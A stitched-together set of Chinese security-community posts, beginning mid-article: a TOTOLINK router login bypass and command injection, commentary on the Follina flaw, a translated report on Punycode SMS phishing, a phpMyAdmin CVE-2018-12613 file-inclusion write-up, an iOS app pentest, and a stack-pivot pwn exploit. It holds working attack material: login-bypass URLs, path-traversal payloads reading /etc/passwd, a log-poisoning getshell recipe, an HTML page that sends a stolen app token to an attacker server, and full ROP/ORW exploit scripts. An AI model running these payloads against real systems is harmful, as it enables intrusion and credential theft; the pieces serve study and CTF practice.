这里不知道是否是因为模拟环境的原因，无论使用什么密码都无法正常登陆，但是这里的v18，需要注意下，这是第二个包的参数之一，而且这个值在最后会为0。
这段代码会snprintf一个重定向一个url，然后进行访问，其流程由flag参数的值决定，我们随便输入密码，就会进入第3个redirectURL，需要注意其authCode参数，授权码，也就是之前v18的值，现在它的值为0。
接下来我们看第二个包，可以看到和我们前面分析的一样，get访问了这个url。
这个http
get请求的处理在web服务进程lighttpd中，也就是我们quem启动的那个进程，我们通过authCode字符串，能交叉引用到其对应的函数为Form_Login。
开始分析Form_Login，开始还是先获取参数的值，然后根据goURL参数是否为空，来判断是否进入if里面。
接着向下看。
所以这里，我们可以了解到goURL就是接下来要访问的html文件，authCode则是验证是否正确登录的一个值，并且经过后面的测试访问home.html就可以进入到后台界面。
所以我们可以构造下面的url，来绕过登录，进入后台，并且可以获取到cookie的SESSION_ID。
http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login
http://xxx.xxx.xxx.xxx/formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login
goURL可有可无，因为goURL无值时，自动会strcpy “home.html”，效果如下。
### OpModeCfg 命令注入
第一个是 /cgi-bin/cstecgi.cgi 中的 OpModeCfg
函数的命令注入漏洞，其漏洞原因是传入的hostName参数，可执行到doSystem函数，通过简单的构造即可导致命令执行。
但是想要执行到doSystem函数，需要绕过一些判断语句，proto不能为0，3，4，6，hostName不能为空。
### UploadFirmwareFile 命令注入
第二个是 /cgi-bin/cstecgi.cgi 的 UploadFirmwareFile
函数，其参数FileName参数可控，并且将作为doSystem的参数被执行。
这个命令注入不需要绕过什么东西，代码位置比较靠前。
## 攻击测试
先尝试bp发一下包，可以看到攻击成功，并且带有回显
编写个poc进行攻击，先进行登录绕过获取cookie，然后进行攻击，攻击效果如下
对于另一个命令注入攻击方式也差不多，只是没有回显，简单修改下poc，在tmp目录创建一个hack文件，攻击效果如下
## 参考
TOTOLINK NR1800X系列cve：<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=TOTOLINK%20NR1800X>
环境搭建usr模式和system模式，并绕过登录检测：<https://bbs.pediy.com/thread-271765.htm#msg_header_h2_1>
* * * | 社区文章 |
**作者：heige@知道创宇404实验室
原文链接：<https://mp.weixin.qq.com/s/tb0K-qLcZo-9OeW3KsIrTg>**
最近曝光的在野0day挺多的，看起来又为今年的年终的总结提供不少弹药，看到这个漏洞我在朋友圈里简单评论下：
> CVE-2022-30190 (Follina)
> 这个漏洞在我的标准里可以算是"神洞"了，品相远比CVE-2021-40444要高。每次看到这种漏洞都有着“惋惜”的感觉/::-| ...
> 比较有意思8挂的是这个漏洞是crazyman 4月11日看到样本后在4月12日提交给MSRC，结果微软回复了个经典用语：“I finally had
> time to look at this critically and have decided it is not a security
> related issue”，想起那些年我提交的那些被忽视的“猥琐流”漏洞...
### CVE-2021-40444 与 CVE-2022-30190
上面说品相比CVE-2021-40444要好，主要是看的实战场景，那是因为CVE-2021-40444不太好绕过“受保护视图”机制导致存在一个“启用编辑”的那个提示，也就是需要额外的点击下！而CVE-2022-30190利用并没有这个提示，这个是因为漏洞触发在ms-msdt:// 伪协议里，直接利用转跳机制，而没有触发“受保护视图”机制，这个也算是一个小缺陷吧！
从技术角度上看，CVE-2021-40444 与
CVE-2022-30190都算是非常精妙的“猥琐流”的应用层逻辑漏洞，这种漏洞类型与内存型有很多天然的优势。当然实战效果下CVE-2021-40444应该说是一个漏洞集合，利用CAB控件调用时导致目录穿越，实现了inf文件下载（相对明确的文件名及路径，并且不被删除），再通过.cpl去加载这个inf文件实现命令执行操作，具体分析可以看由sunglin@知道创宇404实验室
写的详细分析：<https://paper.seebug.org/1718/>
CVE-2022-30190 则是一个ms-msdt://
伪协议过程里最终由于PowerShell.AddScript()导致的PS代码注入漏洞导致的，漏洞原型可以理解为：
PowerShell powerShellCommand = PowerShell.Create();
powerShellCommand.AddScript("ls -test $(iex('mspaint.exe'))");
var result = powerShellCommand.Invoke();
当然整个流程要分析清楚还是相对比较复杂的，详细分析可以参考由 HuanGMz@知道创宇404实验室
带来的分析：<https://paper.seebug.org/1913/>
比较有意思的是，微软的开发者在PS文件调用对其中一个参数是有过意识的过滤的：
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("$", "$")
从404分析文章来看这个过滤写法是错误的而且没有起到作用，正确的写法为：
$appName = [System.IO.Path]::GetFileNameWithoutExtension($selectedProgram).Replace("`$", "``$")
当然这个是selectedProgram就ok ，所以我事后在想是不是这个过滤点给漏洞发现者带来了灵感？！
这个漏洞方式非常像以前研究IE浏览器调用本地的html/js导致的Dom
Xss，只是随着时间的迁移现在微软都是.net/PS混合调用的写法了，而这种写法在office等系列包括去年的漏洞人气王Exchange，所以我觉得这种PS代码注入的问题很可能再次出现，当然就MSDT这个功能的实现下就有不少的PS文件调用，从这个漏洞模型关注
Get-DiagInput, Update-DiagReport, Update-DiagRootCause, Write-DiagProgress
这4个命令，如果可以允许参数提交（Get-DiagInput）就有可能触发 ...
CVE-2021-40444 与 CVE-2022-30190
有一个共同的特点，其实这个也算是攻击面的理解问题，因为在IE年代这种漏洞都是首先考虑从IE浏览器去触发的，而现在都转为通过office去调用触发，所以理论上IE的攻击面（在多年以前的《WEB2.0下的渗透测试》提到了无处不在的浏览器，就涉及到这些攻击面的理解问题）并没有随着IE的消失而消失，而是发生了转移。这个让我想起了当年的mdb漏洞，当年微软认为mdb很少有人直接去打开所以拒绝修复mdb文件的漏洞，直到有人使用word去调用mdb触发
...
当然理解好这点对新的0day样本的监控识别是非常有意义的？！
对于这种“神洞”，我每次看到这种“被爆”就会觉得惋惜（虽然这个漏洞有微软这个神助攻硬是把他延续到了6月，如果从阴谋论角度去思考微软是故意忽视的，那就有点细思极恐的味道了～～），在10+年前还在发明xss/json
hijack获取用户信息的套路时，顺带实现了0day保护的玩意，当时实战效果时非常不错的，当年我在80vul网站上挂了1年多的只有一个朋友反馈他使用firefox
noscript有个提示外没有其他被发现的痕迹，甚至后来一度“产品化”，只是可惜是：大家首要想要的是0day，而不仅仅是一个0day保护程序～～～
[当然这个是另外一个角度的话题了] 然而时隔这么多年这种意识到现在好像还没有太大的改变 ...
### 背后的8卦
大家都知道我的，相比漏洞我更加喜欢关注漏洞背后的8卦：这个漏洞最早是由国内研究员 crazyman
4月11日分析VT样本（2022/04/11上传，俄罗斯主题相关
<https://www.virustotal.com/gui/file/710370f6142d945e142890eb427a368bfc6c5fe13a963f952fb884c38ef06bfa/details>
）于4月12日报告给微软，比较有戏剧性的是微软4月21日就关闭了这个case，并给出了“I finally had time to look at this
critically and have decided it is not a security related issue”经典回复。
直到5月27日有国外研究者也注意到了VT上另外一个样本（5月26日提交
<https://www.virustotal.com/gui/file/4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784/details>
）并把msdt调用部分的代码分享在推特上，随即引起技术社区的关注，微软最终在5月30日分配CVE-2022-30190这个CVE，并发布了临时处理方式包括Defender及临时注册表删除msdt协议支持，只是根据我们404小伙的测试简简单单加点那啥就能绕过defender
很尴尬～～
更加尴尬是事情还没有结束，国外研究员@j00sean 又发现了一些关于新的“MSDT path traversal
0day”，再结合一些其他的伪协议可以通过PDF、浏览器触发，只是利用需要多次点击确定（这点确实比较鸡肋），提交给微软后“果不其然”的再次被拒绝，更加尴尬的是MSRC建议他提交给google（因为chromium可以触发
）～～～
<https://twitter.com/j00sean/status/1534124426874261504>
这又让我想起了当年d4rkwind发现的mhtml漏洞<https://paper.seebug.org/papers/old_sebug_paper/pst_WebZine/pst_WebZine_0x05/0x05_IE%E4%B8%8BMHTML%E5%8D%8F%E8%AE%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E8%B7%A8%E5%9F%9F%E5%8D%B1%E5%AE%B3.html>，因为当时是影响到Gmail
<https://packetstormsecurity.com/files/97563/Hacking-With-MHTML-Protocol-Handler.html>
（也是这个文章导致CVE-2021-40444刚出来的时候，很多老外重新提到了这篇文章），所以顺带报告了google，然后google说这个漏洞应该由微软处理（这个处理是正确的），而且全程给不厌其烦，苦口婆心的跟微软沟通！（只是我不记得最后微软有没有给CVE了，那个时代大家都是摇滚青年，不太在乎，直接披露就完事了）
马上就到6月的补丁日，微软会不会真正修复，怎么修复那么我们拭目以待咯～～
最后提一点关于MSDT这个点的“考古”：
<https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e> 在2020年8月的一篇论文里有提到MSDT本身参数功能调用UNC实现执行的方式：
<https://benjamin-altpeter.de/doc/thesis-electron.pdf>
对于这种“考古”方式对于漏洞挖掘思路理解是非常有帮助的？！
* * * | 社区文章 |
# 用Punycode进行SMiShing(SMS网络钓鱼)
|
##### 译文声明
本文是翻译文章，文章来源：https://www.zscaler.com/
原文地址：<https://www.zscaler.com/blogs/research/smishing-punycode>
译文仅供参考，具体内容表达以及含义原文为准。
网络犯罪分子想出提出新的方法来窃取用户隐私数据并从中获利。由于移动设备的流行和其功能的强大，使之正成为各种网络攻击的目标，而此前这些攻击行为的对象仅限于计算机。
其中一种攻击技术就是SMS网络钓鱼——SMiShing，其通过短信来发送攻击。在SMiShing中，移动用户会在短信或聊天应用程序中接收到钓鱼网站的链接，攻击者会通过这些短信来引诱用户点击链接并输入其个人信息。
Zscaler
ThreatlabZ观察到很多这种SMiShing攻击都使用“Punycode”来使钓鱼网址看起来更像是一个合法的网站URL，这种技术被称为[同形异义词（Homograph）攻击](https://en.wikipedia.org/wiki/IDN_homograph_attack)，攻击者试图通过将URL中的一个或多个字符替换为其他字符脚本中类似外观的字符来达到欺骗用户的目的。
以下的是我们在过去三个月内观测到的在移动设备上用Punycode进行网络钓鱼活动的URL的点击率。
_图1. 从2018年3月1日到5月28日针对移动设备的SMiShing活动中的Punycode URL的点击率_
让我们来看看最近的一个示例，该示例显示了一个假装成Jet
Airways免费机票供给链接的WhatsApp消息。该链接的设计看起来像实际的jetairways.com网站，但它使用的是同形异义词攻击，其中使用了相似的字符来欺骗受害者。
_图2. 攻击示例_
如果仔细查看URL域名中的字符“i”，可以看到它是一个来自拉丁字符集的同形异义词。更确切地说，它是一个Unicode字符“Latin small
letter dotless I”（U + 0131），代替了“airways”中的字母“i”。
_图3. 对同形异义域标签进行解码后的结果_
如果用户在iPhone上点击了此链接，就会打开Safari
Web浏览器并尝试加载钓鱼网站。注意这个URL看起来很像jetairways.com，因此对于用户来说很难察觉它并不是真正的网站。
_图4. Safari浏览器打开钓鱼网站后的效果_
并非所有浏览器都平等对待IDN URL，在下面的图片中，我们看到Android手机上的Google Chrome向用户显示的Punycode格式的URL。
_图5. 安卓手机上的Google Chrome浏览器显示Punycode的URL，而不是IDN格式_
Web浏览器根据不同情况来决定显示IDN格式还是Punycode格式，例如URL中存在可能会欺骗分隔符的特定字符比如“.”或者“/”，则需要确定所有字符是否来自于同一种语言，是否属于允许的组合，或着直接检查该域名是否存在于白名单TLD之中。[这里](https://wiki.mozilla.org/IDN_Display_Algorithm#Algorithm)详细介绍了这个算法，谷歌浏览器也采用了一套类似的规则，其次是Mozilla
Firefox浏览器（详情见[这里](https://www.chromium.org/developers/design-documents/idn-in-google-chrome)）。浏览器可以根据分类的[限制级别](http://www.unicode.org/reports/tr39/#Restriction_Level_Detection)来进行抉择
。
以下是常见Web浏览器对IDN域标签的不同反应。
_图6. 常见Web浏览器对IDN域标签的不同反应_
回到我们之前的示例，如果我们在Domaintools上检查这个域名的域名历史记录，它会显示该域名是在前两周内新注册的。
_图7. 域名注册信息_
这次钓鱼攻击的完整生命周期展示在以下的截图中。
_图8. 网络钓鱼网页截图_
我们可以看到，在受到钓鱼页面的攻击后，受害者被重定向到了另一个域名：newuewfarben [.]
com，该域被用来为恶意软件提供服务。在测试时，并未发现这个URL的活动。
##
## 结论
SMiShing在2018年一直呈上升趋势，同形异义技术的加入也将使其对不知情的移动用户造成更大的危害。网页浏览器已经采取了对同形异义攻击的保护措施，但由于Punycode字符的合法性，开发人员想要设计一个万无一失的解决方案会非常困难，而攻击者则可以利用这一点来解决规则并创建同形异义文档，尽管本质上它们是恶意的，但它们仍可以IDN的格式显示。
Zscaler ThreatLabZ正在积极监控此类攻击，以确保Zscaler客户受到保护。
### **用户如何保护自己？**
用户在点击任何通过短信或IM应用程序共享的链接之前应保持警惕，即使它们来自于一位可信的联系人。IDN格式显示由浏览器设计控制，最终用户在控制如何显示URL有局限性。主要和最有效的方法是利用密码管理器在输入密码之前检查URL，这可有效降低用户向同形异义网址钓鱼网站输入凭证的机会。辅助检查将有效检测URL以查看是否有任何明显的字符切换。 | 社区文章 |
## 文件包含
蒻姬我最开始接触这个 是一道[buuoj](https://buuoj.cn/challenges)的web签到题
进入靶机，查看源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
划重点 ****
进入这个php源
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
再次划重点
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看
有思路了
#### 只要通过这个判断就会执行file传递的参数的文件，想到可能时任意文件包含。
_通过引入文件时，引用的文件名，用户可控，由于传入的文件名没有经过合理的校验，或者检验被绕过，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。_
* 再看if中的判断，file参数不为空&&是个字符串&&通过checkFile方法的检验。去看checkFIle方法。
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
看，hint.php 在白名单里！
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
进入hint.php 看到这样一行提示
**flag not here, and flag in ffffllllaaaagggg**
#### 再回想前面条件，首先必须存在并且是字符串
#### （必须使函数返回为true才能访问文件）
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
然后判断参数是否在白名单中；
mb_strpos()的作用是查找 **字符串在另一个字符串中首次出现的位置,即？在前面字符串中出现的位置**
而mb_substr()用以截断字符串。
然后和白名单比较。
又重复了一次上面的操作。
###
这个涉及到phpMyAdmin的一个洞CVE-2018-12613，由于PHP会自动urldecode一次，导致我们提交%253f（?的urlencode的urlencode）的时候自动转成%3f，满足if条件，%253f/就会被认为是一个目录，从而include。就有了下面的转化
#### ? --> %3f --> %253f
payload: file=hint.php%253f/…/…/…/…/…/…/…/ffffllllaaaagggg
* * *
## 关于cve-2018-12613-PhpMyadmin后台文件包含
2018年6月19日，phpmyadmin在最新版本修复了一个严重级别的漏洞.
<https://www.phpmyadmin.net/security/PMASA-2018-4/>
官方漏洞描述是这样的
An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of,
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login
requirement and runs the vulnerable code without any authentication).
**问题在index.php的55~63:**
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
这里对于参数共有5个判断， **判断通过就可以通过Include包含文件** 。
问题出在后两个上
$target_blacklist = array (
'import.php', 'export.php'
);
以及
Core::checkPageValidity($_REQUEST['target']):
代码在libraries\classes\Core.php的443~476：
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
看，这跟上面的代码几乎是一个模子里刻出来的
然后康康验证的白名单whitelist
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
之后phpMyAdmin的开发团队考虑到了target后面加参数的情况， **通过字符串分割将问号的前面部分取出**
，继续匹配白名单，然后经过一遍urldecode后再重复动作。
得到payload
target=db_datadict.php%253f/../../../../../../../../etc/passwd
### 此处再次 ~~分析~~ 胡扯文件包含漏洞的具体产生原因
* 程序员一般会把 **重复使用的函数写到单个文件中** ，需要使用某个函数时直接调用此文件，而无需再次编写，文件调用的过程一般被称为 **文件包含** 。
* 他们希望代码更灵活，所以将 **被包含的文件设置为变量** ，用来进行动态调用，
* 但正是由于这种灵活性，从而导致 **客户端可以调用一个恶意文件** ，造成文件包含漏洞。
* **几乎所有脚本语言都会提供文件包含的功能** ，但文件包含漏洞在PHP Web Application中居多而在JSP、ASP、程序中却非常少，甚至没有，这是本身语言设计的弊端(猜测
* * *
# Getshell
* 上传图片GETshell
* 读取文件，读取php文件
* 包含日志文件获取webshell
* 首先找到文件存放位置
有权限读取apache配置文件或是/etc/init.d/httpd
默认位置/var/log/httpd/access_log
* 让日志文件插入php代码
发送url请求时后插入php代码，一般使用burp suite抓包修改
curl发包
插入到get请求，或是user-agent部分
* 包含日志文件（必须要权限包含）
### 举个栗子
if (isset($_GET[page])) {
include $_GET[page];
} else {
include "hint.PHP";
}
**其中$_GET[page]使用户可以控制变量。如果没有严格的过滤就导致漏洞的出现**
### 代码审计
包含文件的函数
* include()
* include_once()
* require()
* require_once()
参考链接<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613>
* * * | 社区文章 |
iOS App渗透测试的介绍相对比较少，最近做了一次iOS渗透测试遇到了一些奇奇怪怪的问题，因此写成了这篇文章。
## 起因
手机设置代理后抓包发现App连登陆都登陆不上，登陆请求过程中返回“网络请求错误“的信息，burp没有看到具体数据包。那么大概就是App做了代理检测，当手机设置系统代理之后App不和服务端进行网络通讯。
一如既往的提取ipa包的可执行文件，iDA反编译在`Functions
window`搜索关键词"proxy"，发现了一个`getProxyStatus`方法（Google了一下iOS检测系统代理，大部分文章也都指向了这个`getProxyStatus`以及`CFNetworkCopySystemProxySettings`）
bool __cdecl -[XXXXManager getProxyStatus](SPBllHTTPClientManager *self, SEL a2)
{
v2 = CFNetworkCopySystemProxySettings();
...
return v19 ^ 1;
}
那么发现问题之后，显而易见直接Hook`getProxyStatus`或者`CFNetworkCopySystemProxySettings()`让它返回`NO`就好了，但是App用了企业签名，重打包的话需要先砸壳Dump出来。
## 经过
使用`frida-ios-dump`dump出来未签名的ipa文件之后，xCode新建monkeyDev项目自签名之后运行，发现应用直接闪退。
经过一系列懵逼和纠结以及大佬指点后发现，其实根据日志信息可以溯源到原因。
一般看iOS App日志可以通过xCode的自带的日志框或者也可以用MacOS上的控制台应用，但是用xCode看相对比较简洁明了。
这里可以看到报错点在`**-[NSFileManager copyItemAtPath:toPath:options:error:]:
destination path is nil'**`，似乎是函数的某个参数出问题了。接着在`Functions
window`中搜索`copyItemAtPath`，但是没有找到，查一下这是一个文件拷贝函数但是并不想深究这个函数作用是什么用在什么场景。接着在`Strings`搜索，找到了对应的字符串
不断的回溯找到了调用函数（报错的函数）
bool __cdecl -[XXXManager saveXXXPath:toFile:](XXXManager *self, SEL a2, id a3, id a4)
{
...
v14 = objc_msgSend(&OBJC_CLASS___NSFileManager, "defaultManager");
v15 = (void *)objc_retainAutoreleasedReturnValue(v14);
v16 = objc_msgSend(v13, "path");
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = (unsigned __int64)objc_msgSend(v15, "copyItemAtPath:toPath:error:", v6, v17, 0LL);
return v18;
}
再溯源一下找到这个方法的调用点，审一下代码并动态调试分析报错原因，这里的逻辑是判断一个文件是否存在，不存在的话调用这个方法进行处理，但是重打包过程中导致某个参数为空，直接报错程序闪退。
## 结果
同时hook这个导致程序奔溃的`saveXXXPath`（重写函数使它变成一个空函数）以及检测系统代理函数`getProxyStatus`，可以进行正常的抓包并渗透测试了。
CHDeclareClass(XXXManager)
CHOptimizedMethod2(self, void, XXXManager, saveXXXPath, NSString *, arg1, toFile, NSString *, arg2) {
}
CHDeclareClass(XXXXManager)
CHOptimizedMethod0(self, BOOL, XXXXManager, getProxyStatus){
return NO;
}
CHConstructor{
CHLoadLateClass(XXXManager);
CHClassHook2(XXXManager, saveXXXPath, toFile);
CHLoadLateClass(XXXXManager);
CHClassHook0(XXXXManager, getProxyStatus);
}
## 盗取信用凭证
除了常规的服务端渗透测试外，客户端测试还有一种常见的漏洞-URL
Scheme盗取信用凭证，类似于web端url跳转不一样的是在跳转链接后携带了当前账号的cookie，这就导致了信用凭证泄漏。这一般需要：
* URL跳转
分析URL Scheme逻辑，查看Scheme参数是否存在可控的url参数，可造成URL跳转
* 跳转是否携带敏感信息
构造poc.html并部署，手机浏览器点击自动跳转到app并向恶意服务器发出请求，在服务器中查看web请求日志是否存在敏感信息
### 漏洞分析
Passionfruit查看app URL Scheme
Wechat: wx80e3244447ca12ce://
QQ: QQ41e56440://
tencent: tencent101428815://
sina: wb3173063210://
bxtest://
其中bxtest为自定义URL Scheme，当scheme的host等于bxtest的时候会自动跳转到app
反编译二进制文件，查看scheme处理相关逻辑；判断是否可以任意url跳转
函数列表中从`application:openurl:options`入口跟进，追踪到`+[RouteMediator handleOpenURL:]`
其中这段代码中，从URL
Scheme中获取url字段的值作为跳转URL（并没有做校验以及过滤），接着判断当前用户登陆状态，并把loginStatus作为跳转URL的参数一并发起请求。
v78 = objc_msgSend(v12, "objectForKey:", CFSTR("url"));
v79 = (struct objc_object *)objc_retainAutoreleasedReturnValue(v78);
v80 = ((id (__cdecl *)(UserCenter_meta *, SEL))objc_msgSend)(
(UserCenter_meta *)&OBJC_CLASS___UserCenter,
"shareUserCenter");
v81 = (void *)objc_retainAutoreleasedReturnValue(v80);
v82 = v81;
v83 = (unsigned __int64)objc_msgSend(v81, "isLogin");
v84 = ((id (__cdecl *)(RouteMediator_meta *, SEL, id, id, bool))objc_msgSend)(
(RouteMediator_meta *)&OBJC_CLASS___RouteMediator,
"getProcessedFinalUrl:params:loginStatus:",
v79,
v12,
v83);
v85 = (void *)objc_retainAutoreleasedReturnValue(v84);
objc_release(v82);
objc_release(v79);
v86 = objc_msgSend(v85, "stringByReplacingPercentEscapesUsingEncoding:", 4LL);
v55 = objc_retainAutoreleasedReturnValue(v86);
### 漏洞复现
根据代码逻辑分析，跳转的urlscheme为`bxtest://web?target=web&url=xxx`
构造恶意poc.html存放在外网服务器启动`python -m SimpleHTTPServer 8899`
<html>
<head>
<script type="text/javascript">
window.success = msg =>{
xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', 'http://ip:8899/' + msg, true);
xmlHttp.send()
}
window.webkit.messageHandlers.execute.postMessage(['UserInfo', 'getToken', '', 'success', 'failure']);
</script>
</head>
<body>
<p>test</p>
</body>
</html>
在Safari浏览器打开`bxtest://web?target=web&url=xxx/poc.html`
自动跳转到具体APP，并成功访问poc.html
查看webserver日志发现有新的请求日志，并且GET请求中携带token
所达到的效果就是，受害者点击钓鱼链接后攻击者就可以获取到受害者账号cookie等敏感信息。 | 社区文章 |
# 栈迁移进阶
> leave == mov esp,ebp; pop ebp;
> ret == pop eip #弹出栈顶数据给eip寄存器
首先是栈迁移万金油模板的构造
#### alittle
bss6 = 0x601000+0x600
pl = b'a'*0x20+p64(bss6)+p64(read) #rbp=bss6 -> rax=bss6+(-0x20)
p.send(pl)
但read后会往后执行会走向结束，rsp并没有被我们所控制，所以我们还不能控制程序流
回头看一下leave处 `mov esp,ebp; pop ebp;`，应该是leave前0x60
1600未能放入rbp导致的
再构造一次read，并调整rsp
pl = b'a'*0x20+p64(bss6+0x20)+p64(read) #2
p.send(pl)
这里bss6所加的就是buf的偏移
rsp调试正常后，那么我们下一次则可以进行rop链构造
#puts(puts_got)
pl = p64(bss6+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
`bss6+0x20`基础上再加0x10（固定模板）
pl = b'a'*0x20+p64(bss6+0x40)+p64(read) #4
蚌埠住了，栈平衡真的好玄学，sys调了好久都不行，换og一把出了
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
p.send(pl)
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
#### alittle-up
相较前一题加了个沙盒
exp：
bss = 0x601060 -0x60 +0x400
li(hex(bss))
main = 0x400790
read = 0x4007B1
rdi = 0x400833
ret = 0x040053e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.recv(0x13)
pl = b'a'*0x100+p64(bss)+p64(read) #1
p.send(pl)
pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2
p.send(pl)
pl = p64(bss+0x110)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
li(hex(libc_base))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
pl = b'a'*0x100+p64(bss+0x120)+p64(read) #4
p.send(pl)
rsi_r15 = 0x400831
pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main) #5
p.send(pl)
pause()
p.send('flag')
p.recv()
pl = b'a'*0x100+p64(bss+0x300)+p64(read) #6
p.send(pl)
pl = b'a'*0x100+p64(bss+0x400)+p64(read) #7
p.send(pl)
syscall = libc_base + libc.sym['syscall']
pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall)
pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr)
pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main) #8
#dbg()
p.send(pl)
pl 1、2正常起手，pl 3来获取libc地址
pl = b'a'*0x100+p64(bss)+p64(read) #1
p.send(pl)
pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2
p.send(pl)
> read()
>
> 文件描述符：0标准输入，1标准输出，2标准报错，3、4、5 .. 第一、二、三 ...个文件
>
>
>
> ORP和ORW：
>
> puts更方便，只需要一个参数，而write需要多次传参
>
> 但puts遇到'x00'停止，有些ex的flag可能会故意带上'\x00'
将flag读入bss段
